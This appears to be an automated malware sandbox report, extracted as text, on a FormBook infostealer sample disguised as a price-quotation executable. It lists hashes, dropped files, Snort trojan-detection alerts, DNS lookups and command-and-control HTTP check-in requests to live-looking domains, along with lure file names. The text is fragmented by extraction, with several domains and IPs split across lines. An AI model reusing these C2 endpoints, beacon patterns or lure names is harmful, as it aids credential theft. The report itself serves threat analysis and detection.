UfF+hLPMjJ
YmpHKyhIlb
IEVA9B0c1c
fBZO+nRhGg
7O1B3xz82E
PTgtpN2NV&
OHX=JRmh

QUOTE110.exe Get hash malicious Browse  www.coole
stpornrevi
ews.com/vcd/?
YVMtapH
=LyDxHldb+
KlOSDua8YC
OPwjDVdjcS
2dbW4Dz7bH
lFL8lQur/H
Ok9HtLfSHz
2pyKhCdo+&
BB=Lzr4Ttm
pAHX4

Match Associated Sample Name / URL SHA 256 Detection Link Context

parkingpage.namecheap.com Payment Slip.exe Get hash malicious Browse 198.54.117.211

RFQ9003930 New Order.doc Get hash malicious Browse 198.54.117.215

PURCHASE ORDER I 5083.exe Get hash malicious Browse 198.54.117.218

RgproFrlyA.exe Get hash malicious Browse 198.54.117.218

INVOICE.exe Get hash malicious Browse 198.54.117.211

NEW ORDER RE PO88224.PDF.EXE Get hash malicious Browse 198.54.117.212

doc0490192021092110294.exe Get hash malicious Browse 198.54.117.211

SWIFT Transfer 103_0034OTT21000123_8238174530.PDF.
exe

Get hash malicious Browse 198.54.117.210

SYsObQNkC1.exe Get hash malicious Browse 198.54.117.216

SBGW#001232021.exe Get hash malicious Browse 198.54.117.217

DHL_Sender_Documents_Details_021230900.xlsx Get hash malicious Browse 198.54.117.215

invoice.exe Get hash malicious Browse 198.54.117.210

onxyPs4yG1MUPbN.exe Get hash malicious Browse 198.54.117.211

85fX3YfW9S.exe Get hash malicious Browse 198.54.117.215

Amended SO of 2000KVA400KVA.exe Get hash malicious Browse 198.54.117.210

Updated SOA 210920.PDF.exe Get hash malicious Browse 198.54.117.217

Z14S9Zolcyub1pd.exe Get hash malicious Browse 198.54.117.210

sprogr.exe Get hash malicious Browse 198.54.117.215

EWVNnyXoRS.exe Get hash malicious Browse 198.54.117.212

aT8aer3ybNvYpl3.exe Get hash malicious Browse 198.54.117.215

Match Associated Sample Name / URL SHA 256 Detection Link Context

CNSERVERSUS SUPPLY_PRICE_ORDER_9978484DF.exe Get hash malicious Browse 23.225.139.107

8LdKQIRfZG Get hash malicious Browse 41.216.185.141

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/261981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261981/html/none?idtype=webid
https://view.joesandbox.com/analysis/254168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254168/html/none?idtype=webid
https://view.joesandbox.com/analysis/219886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/219886/html/none?idtype=webid
https://view.joesandbox.com/analysis/385907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385907/html/none?idtype=webid
https://view.joesandbox.com/analysis/385841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385841/html/none?idtype=webid
https://view.joesandbox.com/analysis/385639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385639/html/none?idtype=webid
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid
https://view.joesandbox.com/analysis/384493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384493/html/none?idtype=webid
https://view.joesandbox.com/analysis/384276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384276/html/none?idtype=webid
https://view.joesandbox.com/analysis/384263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384263/html/none?idtype=webid
https://view.joesandbox.com/analysis/383846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383846/html/none?idtype=webid
https://view.joesandbox.com/analysis/383770/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383770/html/none?idtype=webid
https://view.joesandbox.com/analysis/383696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383696/html/none?idtype=webid
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid
https://view.joesandbox.com/analysis/383420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383420/html/none?idtype=webid
https://view.joesandbox.com/analysis/383362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383362/html/none?idtype=webid
https://view.joesandbox.com/analysis/383179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383179/html/none?idtype=webid
https://view.joesandbox.com/analysis/382976/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382976/html/none?idtype=webid
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid
https://view.joesandbox.com/analysis/382858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382858/html/none?idtype=webid
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid
https://view.joesandbox.com/analysis/382508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382508/html/none?idtype=webid
https://view.joesandbox.com/analysis/382113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382113/html/none?idtype=webid
https://view.joesandbox.com/analysis/385999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385999/html/none?idtype=webid
https://view.joesandbox.com/analysis/385985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385985/html/none?idtype=webid


vHLDOsbYKA Get hash malicious Browse 41.216.185.113

LAKmNB72J8 Get hash malicious Browse 156.255.31.131

xUAaxUb8FS Get hash malicious Browse 23.225.119.147

17Rom1F3MY Get hash malicious Browse 156.251.245.93

DHL_Sender_Documents_Details_021230900.xlsx Get hash malicious Browse 154.208.17
3.230

invoice.exe Get hash malicious Browse 172.247.0.173

#U9488#U5bf9#U57ab#U4ed8#U517c#U804c#U5f
00#U5355#U5341#U4e2a#U79d8#U8bc0.exe

Get hash malicious Browse 172.247.15.222

invoice attachment.docm Get hash malicious Browse 172.83.155.147

Updated SOA 210920.PDF.exe Get hash malicious Browse 154.210.71.233

Quotation & Sample Designs.PDF.exe Get hash malicious Browse 154.210.71.233

cJHhmOyf4o.exe Get hash malicious Browse 154.208.17
3.151

MFtBYsz3kB.exe Get hash malicious Browse 154.210.74.237

EIElnDxX0V.exe Get hash malicious Browse 154.208.17
3.230

77dsREO8Me.exe Get hash malicious Browse 23.225.30.174

TsHIdFKafF Get hash malicious Browse 23.224.58.165

Wire transfer.exe Get hash malicious Browse 103.61.30.44

Vrd8Yqy7kn.exe Get hash malicious Browse 172.83.155.173

fk8YZet4QU Get hash malicious Browse 156.251.17
1.249

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Temp\4gyujazywsbdaoe

Process: C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe

File Type: data

Category: dropped

Size (bytes): 216882

Entropy (8bit): 7.993293156280056

Encrypted: true

SSDEEP: 6144:71sLVyecy+1K1bqg5pcPtdi+wSagdVBFJ6uQgVd0kI:71DdIqg5pcji+a6VLJ6vP

MD5: F3364C6B2D2FBE79DF14059B0A45B326

SHA1: 2102737F5438F054621A71528044F38FF9CB82BC

SHA-256: CA7D46A32EC12479AFEEC23562BD199C91D2DC0912462250D1A3811A7E89BE83

SHA-512: A43EBC1C5975D7A44E9901EED45EADC53B7427FCF7C13A725BE782A972728AF038C92AE0CC954AE705C3EA93F2EB3A37208CD9FB6237B7F5B6899275AA211A2
7

Malicious: false

Reputation: low

Preview:
rV.RW.%......8.Y...Q.y.....k..+.k......D.n..0...u.h..s.t...\...).U...w...F;....?.g.......e@.(.=...|.B...K..U'.....m...#U>K:\......~.t.G`N9Gz.......Is.....[.r.E./m/."..[Y....?.#UI=s..o...q.......i..>q.
..........Q....U1:Sn.ye.,.d.od...T..K`.%..%..@..e..@.R._......O.f..+........D.nl.0...u.h..s.t...\..=..m.$V..-I.....6......L.}.N.....*;.'l.*.Ix.tr.5...|..+...m....H.5.....8.sw6.Qc.....:.......T.9......
..m"]......[Y..\.]&.#...P..o...q..<^]..i.=[9........4h.Q......:Sn.ye.,.d@od..0T..K5.f..%.......@.R....'..O...+.k......D.n..0...u.h..s.t...\..=..m.$V..-I.....6......L.}.N.....*;.'l.*.Ix.tr.5...|..+...m
....H.5.....8.sw6.Qc.....:.......T.9........m"]/."..[Y....]l.#.RoP..o...q..<^]..i.=[q........4h.Q......:Sn.ye.,.d@od..0T..K5.f..%.......@.R....'..O...+.k......D.n..0...u.h..s.t...\..=..m.$V..-I.....6.
.....L.}.N.....*;.'l.*.Ix.tr.5...|..+...m....H.5.....8.sw6.Qc.....:.......T.9........m"]/."..[Y....]l.#.RoP..o...q..<^]..i.=[q........4h.Q...

C:\Users\user\AppData\Local\Temp\nsi8CF7.tmp\akepwc.dll

Process: C:\Users\user\Desktop\PRICE_REQUEST_QUOTATION.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 48128

Entropy (8bit): 6.182711541286411

Encrypted: false

SSDEEP: 768:1Zi08T7N8+MHPofNnsG7NthUO33gg5Yyn91tMyuuVaRCNLBk0e67y9OLuiSuMwGA:/8T7N8CnhV/1e67y9O9IKoSJCPQRAli3

MD5: 0560BA80E8AFE7F5D83EB600602AB426

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/385967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385967/html/none?idtype=webid
https://view.joesandbox.com/analysis/385297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385297/html/none?idtype=webid
https://view.joesandbox.com/analysis/384737/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384737/html/none?idtype=webid
https://view.joesandbox.com/analysis/384693/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384693/html/none?idtype=webid
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid
https://view.joesandbox.com/analysis/383420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383420/html/none?idtype=webid
https://view.joesandbox.com/analysis/383336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383336/html/none?idtype=webid
https://view.joesandbox.com/analysis/383281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383281/html/none?idtype=webid
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382960/html/none?idtype=webid
https://view.joesandbox.com/analysis/382703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382703/html/none?idtype=webid
https://view.joesandbox.com/analysis/382518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382518/html/none?idtype=webid
https://view.joesandbox.com/analysis/382057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382057/html/none?idtype=webid
https://view.joesandbox.com/analysis/381919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381919/html/none?idtype=webid
https://view.joesandbox.com/analysis/381605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381605/html/none?idtype=webid
https://view.joesandbox.com/analysis/380934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380934/html/none?idtype=webid
https://view.joesandbox.com/analysis/380062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380062/html/none?idtype=webid
https://view.joesandbox.com/analysis/379412/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379412/html/none?idtype=webid
https://view.joesandbox.com/analysis/378030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378030/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows, 

Nullsoft Installer self-extracting archive

Entropy (8bit): 7.911190489576227

TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: PRICE_REQUEST_QUOTATION.exe

File size: 267109

MD5: 85589170af713a03ca622f94429c634a

SHA1: 4e0b9dfd13dd6e4b85bca4352be0cec2be9024d7

SHA256: dae6ba220bb0a34de731b57965753391343bfe96f9f3fa4f
ea48102d3377ccf7

SHA512: 1379d1dbed880c664d7314018e676970afd192a423e614
4f3bac6b15e5f89fb4bc245adbe462046ccfb6692e0054b
e18b459bc2757e60d700c03758232682dd9

SSDEEP: 6144:F8LxBsicGu14h0W/c8aRyPwSagdVDgfpnYluQgV
d0ka7cDp3:/USWDaRaa6VUBqvr03

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........0(..QF..
QF..QF.*^...QF..QG.qQF.*^...QF..rv..QF..W@..QF.Rich.
QF.........PE..L...m:.V.................`..........*1.......p....@

File Icon

Icon Hash: b2a88c96b2ca6a72

SHA1: A783F03BC76EE70833D61D69D854674F45D5A223

SHA-256: 19013D7428A659774231FD4B5213A463EEAB58A0C347DADFAA95536BD89D3F13

SHA-512: A034974DC569DB8064B9BC5699E33B188C581E716862FED95708A1B2CAACCAA6AE8EE4F4F23989C68EF838EA71271423501B6AEA27A9C216AF9DB9745356B12
C

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 13%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sE..7$.C7$.C7$.CDF.B6$.CDF.B8$.C7$.C.$.CaQ.B6$.CaQ.B
6$.CaQ.C6$.CaQ.B6$.CRich7$.C................PE..L....QRa...........!.....j...N............................................................@.............................H...D.........................................................
..............................................................text...ah.......j.................. ..`.bss.....................................rdata...............n..............@..@.data....4.......6...|..............@....rsrc..............
.................@..@.reloc..............................@..B.......................................................................................................................................................................................................
.........................................................................................

C:\Users\user\AppData\Local\Temp\nsi8CF7.tmp\akepwc.dll

General
Entrypoint: 0x40312a

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x56FF3A6D [Sat Apr  2 03:20:13 2016 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Static PE Info
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Snort IDS Alerts

Network Port Distribution

Subsystem Version Minor: 0

Import Hash: b76363e9cb88bf9390860da8e50999d2

General

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x5e66 0x6000 False 0.670572916667 data 6.44065573436 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x7000 0x12a2 0x1400 False 0.4455078125 data 5.0583287871 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x9000 0x25d18 0x600 False 0.458984375 data 4.18773476617 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.ndata 0x2f000 0x8000 0x0 False 0 empty 0.0 IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.rsrc 0x37000 0x9e0 0xa00 False 0.45390625 data 4.4968702957 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

09/28/21-
08:05:19.560904

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49777 34.102.136.180 192.168.2.5

09/28/21-
08:05:24.814123

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49781 109.106.246.165 192.168.2.5

09/28/21-
08:05:30.271587

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49782 80 192.168.2.5 154.208.173.139

09/28/21-
08:05:30.271587

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49782 80 192.168.2.5 154.208.173.139

09/28/21-
08:05:30.271587

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49782 80 192.168.2.5 154.208.173.139

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

TCP Packets

UDP Packets

DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 28, 2021 08:04:53.894303083 CEST 192.168.2.5 8.8.8.8 0x1e47 Standard query 
(0)

www.applel
uis.host

A (IP address) IN (0x0001)

Sep 28, 2021 08:04:58.961429119 CEST 192.168.2.5 8.8.8.8 0xcff7 Standard query 
(0)

www.snacki
thalal.com

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:04.024564028 CEST 192.168.2.5 8.8.8.8 0x3c1c Standard query 
(0)

www.patric
kandmaxine.com

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:09.217550993 CEST 192.168.2.5 8.8.8.8 0x1c69 Standard query 
(0)

www.4-6-2.com A (IP address) IN (0x0001)

Sep 28, 2021 08:05:19.275244951 CEST 192.168.2.5 8.8.8.8 0xa4e2 Standard query 
(0)

www.teelan
dcompany.com

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:24.617837906 CEST 192.168.2.5 8.8.8.8 0x3623 Standard query 
(0)

www.nailse
stetic.space

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:29.822536945 CEST 192.168.2.5 8.8.8.8 0x954b Standard query 
(0)

www.futuro
dr.com

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:35.557977915 CEST 192.168.2.5 8.8.8.8 0x72a2 Standard query 
(0)

www.babesh
otnud.com

A (IP address) IN (0x0001)

Sep 28, 2021 08:05:41.055377007 CEST 192.168.2.5 8.8.8.8 0xe8f5 Standard query 
(0)

www.thenew
tocsin.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 28, 2021 
08:04:53.930164099 
CEST

8.8.8.8 192.168.2.5 0x1e47 No error (0) www.applel
uis.host

appleluis.host CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:04:59.015763998 
CEST

8.8.8.8 192.168.2.5 0xcff7 Name error (3) www.snacki
thalal.com

none none A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:04.061494112 
CEST

8.8.8.8 192.168.2.5 0x3c1c No error (0) www.patric
kandmaxine.com

www35.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:04.061494112 
CEST

8.8.8.8 192.168.2.5 0x3c1c No error (0) www35.wixd
ns.net

balancer.wixdns.net CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:04.061494112 
CEST

8.8.8.8 192.168.2.5 0x3c1c No error (0) balancer.w
ixdns.net

5f36b111-
balancer.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:04.061494112 
CEST

8.8.8.8 192.168.2.5 0x3c1c No error (0) 5f36b111-b
alancer.wi
xdns.net

td-balancer-euw2-6-
109.wixdns.net

CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:04.061494112 
CEST

8.8.8.8 192.168.2.5 0x3c1c No error (0) td-balancer-
euw2-6-1
09.wixdns.net

35.246.6.109 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:09.243758917 
CEST

8.8.8.8 192.168.2.5 0x1c69 Name error (3) www.4-6-2.com none none A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:19.298926115 
CEST

8.8.8.8 192.168.2.5 0xa4e2 No error (0) www.teelan
dcompany.com

teelandcompany.com CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:19.298926115 
CEST

8.8.8.8 192.168.2.5 0xa4e2 No error (0) teelandcom
pany.com

34.102.136.180 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:24.640343904 
CEST

8.8.8.8 192.168.2.5 0x3623 No error (0) www.nailse
stetic.space

nailsestetic.space CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:24.640343904 
CEST

8.8.8.8 192.168.2.5 0x3623 No error (0) nailsestet
ic.space

109.106.246.165 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:30.004734039 
CEST

8.8.8.8 192.168.2.5 0x954b No error (0) www.futuro
dr.com

154.208.173.139 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:35.594989061 
CEST

8.8.8.8 192.168.2.5 0x72a2 No error (0) www.babesh
otnud.com

185.107.56.60 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) www.thenew
tocsin.com

parkingpage.namecheap.
com

CNAME 
(Canonical 
name)

IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.212 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.217 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.216 A (IP address) IN (0x0001)

DNS Answers
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Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.215 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.218 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.210 A (IP address) IN (0x0001)

Sep 28, 2021 
08:05:41.079232931 
CEST

8.8.8.8 192.168.2.5 0xe8f5 No error (0) parkingpag
e.namechea
p.com

198.54.117.211 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
www.patrickandmaxine.com

            
www.teelandcompany.com

            
www.nailsestetic.space

            
www.futurodr.com

            
www.babeshotnud.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49775 35.246.6.109 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 28, 2021 
08:05:04.103997946 CEST

5759 OUT GET /rgoe/?3fph-P=SDpSJcP09/DC8lpI6cAq3FUJJvXeBm+eY5pmIe7zBfPan+ozXFgSpcvx3IOXLkDu19py&p64=N4Ih-
Va0GVIpc HTTP/1.1
Host: www.patrickandmaxine.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 28, 2021 
08:05:04.181961060 CEST

5760 IN HTTP/1.1 301 Moved Permanently
Date: Tue, 28 Sep 2021 06:05:04 GMT
Content-Length: 0
Connection: close
location: https://www.patrickandmaxine.com/rgoe?3fph-P=SDpSJcP09%2FDC8lpI6cAq3FUJJvXeBm+eY5pmIe7zBfP
an+ozXFgSpcvx3IOXLkDu19py&p64=N4Ih-Va0GVIpc
strict-transport-security: max-age=120
x-wix-request-id: 1632809104.12353479359118688
Age: 0
Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=euw2
X-Seen-By: sHU62EDOGnH2FBkJkG/Wx8EeXWsWdHrhlvbxtlynkVi5yDv3kmVKOr5HAuRayZgu,qquldgcFrj2n04
6g4RNSVGDCtDC/zjI7y/qL/ByVDnpYgeUJqUXtid+86vZww+nL,2d58ifebGbosy5xc+FRalmNz/RuQP3rtdZ/RMDv
oHeVyBqs9bMu3gZEQ/tjE7tv/3fKEXQvQlSAkB/lstal9R3MFzREVKyPFapXmT9a+sC4=,2UNV7KOq4oGjA5+PKsX4
7IJCkNcL1UXXT2AxlbYijuBYgeUJqUXtid+86vZww+nL,YO37Gu9ywAGROWP0rn2IfgW5PRv7IKD225xALAZbAmk=,
LXlT8qjS5x6WBejJA3+gBbk0oko9S7vJ2Ws8rbzPIcRNG+KuK+VIZfbNzHJu0vJu,UvY1uiXtmgas6aI2l+unv5E44X1eKbavIje
RM6T+g8dJRdfVwrOGfuCHlvTHdkToWIHlCalF7YnfvOr2cMPpyw==
Cache-Control: no-cache
X-Content-Type-Options: nosniff
Server: Pepyaka/1.19.10

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49777 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 28, 2021 
08:05:19.317270994 CEST

5770 OUT GET /rgoe/?3fph-P=mDrA6fi9xoCJEIFZWb9JZI5ban60MroB6V8+OTFSy0K1Nt6g1YYxY5Is4mN6psbbGTdM&p64=N4Ih-
Va0GVIpc HTTP/1.1
Host: www.teelandcompany.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

HTTP Request Dependency Graph

HTTP Packets
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Sep 28, 2021 
08:05:19.560904026 CEST

5771 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Tue, 28 Sep 2021 06:05:19 GMT
Content-Type: text/html
Content-Length: 275
ETag: "61525017-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49781 109.106.246.165 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 28, 2021 
08:05:24.666732073 CEST

5784 OUT GET /rgoe/?3fph-P=ZkUnxSwgwNnUgDqrCPM5+5YAySuzXTkvHqygzq17wwh0dYOczX0iNUUGI1Jd50TOWJnd&p64
=N4Ih-Va0GVIpc HTTP/1.1
Host: www.nailsestetic.space
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 28, 2021 
08:05:24.814122915 CEST

5785 IN HTTP/1.1 403 Forbidden
Content-Type: text/html
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0
Server: BitNinja Captcha Server
Date: Tue, 28 Sep 2021 06:05:24 GMT
Content-Length: 13724
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 
20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 
22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 
20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 
2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 
74 65 6e 74 3d 22 6a 6f 6f 6d 6c 61 2c 20 4a 6f 6f 6d 6c 61 2c 20 6a 6f 6f 6d 6c 61 20 31 2e 35 2c 20 77 6f 72 64 70 72 65 
73 73 20 32 2e 35 2c 20 44 72 75 70 61 6c 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 
69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4a 6f 6f 6d 6c 61 21 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 
6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4a 6f 6f 6d 6c 61 21 20 31 2e 35 20 2d 20 4f 70 65 6e 20 53 6f 75 
72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 
